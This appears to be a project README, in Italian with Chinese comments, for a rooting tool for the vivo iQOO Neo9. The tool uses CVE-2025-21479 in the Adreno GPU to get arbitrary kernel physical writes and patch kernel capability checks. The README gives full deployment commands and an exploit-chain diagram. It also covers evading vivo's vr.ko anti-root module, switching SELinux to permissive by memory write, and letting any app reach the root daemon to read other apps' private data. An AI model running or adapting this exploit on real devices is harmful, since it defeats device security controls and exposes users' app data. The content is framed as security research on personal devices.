reaizuguo/vivo_iqoo_neo_9_root_research_on_cve-2025-21479Strumento Caps-Root per iQOO Neo9 (PD2338C) senza sblocco** — schema di elevazione dei privilegi tramite scrittura fisica arbitraria basato su CVE-2025-21479 (Adreno GPU SDS)
Strumento Caps-Root senza sblocco per iQOO Neo9 (PD2338C) — schema di privilege escalation con scrittura fisica arbitraria basato su CVE-2025-21479 (Adreno GPU SDS)
Nessuno sblocco del Bootloader, nessun flash, nessun Magisk. Tramite la vulnerabilità GPU si ottiene scrittura fisica arbitraria a livello kernel; dopo aver patchato le funzioni critiche del kernel, un root daemon residente con tutte le capabilità (41-bit caps) fornisce le capacità root a rootc / su.
Caratteristica chiave: euid mantenuto a 2000 per bypassare il rilevamento anti-root vr.ko di vivo (euid=0 innesca il riavvio del dispositivo); le capacità root equivalgono a uid=0 ma l'identità del processo resta sicura.
CapEff: 000001ffffffffff (tutte le 41 capabilità), non un travestimento a livello applicativovr.ko neutralizzato, zero crash del dispositivosu, utilizzabile direttamente da MT Manager / Termux| Campo | Valore |
|---|---|
| Dispositivo | iQOO Neo9 (PD2338C) |
| Sistema | Android 15 |
| Kernel | 5.15.178-gaacdc35637c4-dirty (GKIv1) |
| GPU | Adreno 740 (A7xx) |
| Layout memoria | Nessun KASLR fisico (stext_pa=0xa8010000), slide VA complessivo |
⚠️ L'exploit dipende dal layout specifico di questo kernel (offset dei simboli, funzionalità
VIVO_VMET_BREAK_KMI, comportamento divr.ko); altri dispositivi/kernel richiedono un nuovo adattamento.
# 克隆后运行 (adb 需在 PATH; 或用 $env:ADB 指定路径)
powershell -ExecutionPolicy Bypass -File scripts\run_rootc_loop.ps1
Lo script fa automaticamente: push dei tre file → riavvio per la finestra fredda → esecuzione dell'exploit in più round (tasso di successo ~50%/round) → daemon pronto → verifica.
# 1. 推送 (只需一次, /data 持久)
adb push exploit\exploit_vivo_neo9 /data/local/tmp/
adb push client\rootc /data/local/tmp/
adb push client\su /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/exploit_vivo_neo9 /data/local/tmp/rootc /data/local/tmp/su"
# 2. 重启获取冷窗口 (重启后 <3 分钟内运行命中率最高)
adb reboot
# ...等待开机完成...
# 3. 启动 exploit (后台 daemon)
adb shell "cd /data/local/tmp && nohup sh -c 'CHEESE_STEXT_PA=0xa8010000 CHEESE_DAEMON=1 CHEESE_PATCH_CAP=1 ./exploit_vivo_neo9 > /data/local/tmp/exploit_daemon.log 2>&1 &'"
# 4. 等待就绪 (命中通常 10s~3min)
adb shell "cat /data/local/tmp/rootd_ready.txt"
# 输出 "ready" 即成功
# 简单命令
adb shell "/data/local/tmp/rootc id"
# 复杂命令 (Base64 编码, 避免引号问题)
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('ls -la /data/adb; dmesg | tail -5'))
adb shell "/data/local/tmp/rootc B64:$b64"
su -c "ls /data/adb" # 任意 root 命令
su -c "chown 0:0 /path/file" # 文件属主改为 root:root
su # 交互模式 (stdin 逐行)
Configurazione Termux: al primo utilizzo eseguire (con permessi root):
# 开放队列目录写权限 + 安装 su 到 Termux PATH
su -c "chmod 1777 /data/local/tmp"
su -c "cp /data/local/tmp/su /data/data/com.termux/files/usr/bin/su && chmod 755 /data/data/com.termux/files/usr/bin/su"
MT Manager: Impostazioni → ROOT → percorso su personalizzato → /data/local/tmp/su
Gli ambienti rootc/su mantengono deliberatamente euid=2000 (per evitare il rilevamento anti-root di vr.ko). Tuttavia i driver di alcune interfacce del kernel (come /proc/vrp, alcuni nodi sysfs) controllano current_euid()==0 e non bastano nemmeno tutte le capabilità → in questo caso si usa u0 per sfruttare CAP_SETUID dell'ambiente rootd e diventare vero root:
# 推送 (只需一次)
adb push client\u0 /data/local/tmp/u0
adb shell "chmod 755 /data/local/tmp/u0"
# 用法: u0 <绝对路径程序> <参数...> (execv 需要绝对路径!)
$cmd = '/data/local/tmp/u0 /system/bin/sh -c "id; cat /proc/vrp 2>&1"'
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($cmd))
adb shell "/data/local/tmp/rootc B64:$b64"
# 输出: uid=0(root) gid=0(root) ... ← 真 root 会话
setuid(0) non innesca il fatal di vr.ko (il processo principale di rootd vive a lungo con uid=0; i processi uid=0 non sono nella lista da kill)/proc/vrp restituisce ancora EPERM con uid=0 + tutte le capabilità (il driver vrp ha un controllo permessi esplicito, non DAC/SELinux — reverse engineering in corso); anche insmod con uid=0 fa riavviare il dispositivo (il rilevamento del caricamento dei moduli non guarda l'uid del chiamante)docs\u0_说明.md/data/local/tmp è drwxrwxrwt di default (1777, proprietario shell) — a livello DAC qualsiasi utente può leggere/scrivere. Ciò che blocca davvero gli utenti normali (dominio untrusted_app) è SELinux (la policy nega al dominio app l'accesso all'etichetta shell_data_file):
# 1. DAC: 确保目录 1777 + 队列文件可写 (rootc 创建时已是 0666)
su -c "chmod 1777 /data/local/tmp"
# 2. SELinux: exploit 部署后处于 permissive, 无需额外操作 (permissive 不执行策略)
# ⚠️ 不要用 setenforce 0 —— vr.ko 的 avc_has_perm hook 会检测 setenforce 动作
# (kprobe 虽已中和, hfm 文本 hook 仍可能触发 fatal), 改走 exploit 的
# 物理写 permissive (run_selinux_rmw, 已内置在部署流程)
# 3. 验证 (用 app 身份 / run-as 执行 rootc)
run-as com.termux /data/local/tmp/rootc id # 或任意 app 执行
# 输出 [rc=0] 即普通用户可正常使用 root 能力
shell_data_file accessibile solo al dominio shell); si ripristina dopo una nuova distribuzionesu -c "cat /data/local/tmp/xxx > /sdcard/xxx" (le app accedono a /sdcard senza problemi)su -c id # uid=2000 正常 (见 FAQ)
su -c "grep CapEff /proc/self/status" # 000001ffffffffff = 全能力
su -c "ls /data/adb" # 700 root 目录, 普通 shell 被拒
su -c "chown 0:0 /data/local/tmp/x && ls -l /data/local/tmp/x" # root 专属操作
su -c "head -5 /proc/iomem" # 内核物理内存布局
su -c "ls /data/data/<任意包名>" # 任意 app 私有数据
CVE-2025-21479 (Adreno SDS: CP_SET_DRAW_STATE 误判)
│ 特权执行 CP_SMMU_TABLE_UPDATE → SMMU TTBR0 指向伪造页表
▼
任意物理写 (fake TT0: L1/L2/L3 三级页表 + 6GB 匿名页 spray 命中)
│
├──▶ patch cap_bprm_creds_from_file 入口 (mov w0,#0; ret)
│ → exec 后保留 effective caps (普通命令也能带全 caps)
├──▶ patch kptr_restrict = 0
│ → /proc/kallsyms 全地址可见
└──▶ patch vhangup stub (MODE=10 提权)
→ fsuid/fsgid=0 + 41 位 caps, euid 保持 2000
→ fork 常驻 daemon (文件队列服务)
│
▼
rootc / su ──(文件队列 + B64)──▶ daemon ──▶ 任意 root 命令 (全 caps)
Perché euid=2000? Il kernel vivo integra il modulo anti-root vr.ko: se rileva un processo al di fuori del dominio vrp con cred->euid==0 innesca il fatal (riavvio del dispositivo). L'escalation MODE=10 volutamente non modifica euid, scrive solo fsuid/fsgid + le capabilità — vr.ko non può scattare, ma tutti i controlli capable() del kernel passano (vere capacità root).
neo9_root/
├── README.md # 本文档
├── LICENSE # MIT
├── exploit/ # 漏洞利用
│ ├── exploit_vivo.c # 源码 (STUB_MODE=10 + daemon + cap_bprm patch)
│ ├── exploit_vivo_neo9 # 编译产物 (aarch64 musl 静态)
│ └── stubs/ # 提权 stub 汇编
├── client/ # 客户端
│ ├── rootc.c / rootc # root 命令客户端 (文件队列 + B64)
│ ├── su # su 兼容包装器 (MT/Termux)
│ ├── u0.c / u0 # euid=0 提升工具 (真 root 操作, 见"u0"章节)
│ └── shim.c / shim.so # LD_PRELOAD kptr_restrict 重定向 (ksud insmod 链路)
├── scripts/ # 部署脚本
│ ├── run_rootc_loop.ps1 # 推荐: 多轮自动部署
│ └── run_root_final.ps1 # 一键部署
├── tools/ # 内核/模块逆向分析脚本 (vr.ko 等)
├── docs/ # 调试记录
│ ├── DEBUG_RECORD.md # 完整调试记录 (崩溃根因链)
│ └── EXPLOIT0_FIX.md # exploit0 修复记录
└── archive/ # 失败方案参考 (setuid 方案等)
run_rootc_loop.ps1 per riprovare in più roundcat /proc/uptime (uptime in aumento e schermo normale = dispositivo non crashato)id mostra uid=2000: vedi il capitolo sul principio; è un comportamento voluto, le capacità equivalgono a rootmount / è limitato da fstab; /system è in sola lettura (erofs + dm-verity), nessuna modifica persistente possibile/data/local/tmp: per Termux/utenti normali serve chmod 1777 (vedi il capitolo "Accesso utenti normali"); SELinux va mantenuto permissive (impostato durante la distribuzione dell'exploit), non usare setenforce 0 (rilevato da vr.ko)D: È vero root? R: Sì. Tutti i controlli capable() del kernel (CapEff completo, chown 0:0, lettura di /proc/iomem, lettura dei dati di qualsiasi app) passano — il kernel riconosce che hai le capacità root, solo il numero uid è 2000.
D: Può brickare il dispositivo? R: No. Nessuna scrittura su partizioni, nessuna modifica persistente; nel peggiore dei casi la GPU si blocca e un riavvio risolve.
D: Supporta altri modelli? R: Serve un nuovo adattamento (layout del kernel, offset dei simboli e comportamento di vr.ko sono specifici di PD2338C; se si tratta di un vivo iQOO Neo9 con OriginOS 5 si può provare).
Questo progetto è solo per ricerca sulla sicurezza e uso su dispositivi personali. Qualsiasi conseguenza derivante dall'uso di questo strumento (incluse, a titolo esemplificativo, danni al dispositivo, perdita di dati, decadenza della garanzia) è a carico dell'utente. Si prega di rispettare le leggi e le normative locali e di non utilizzarlo per scopi illegali.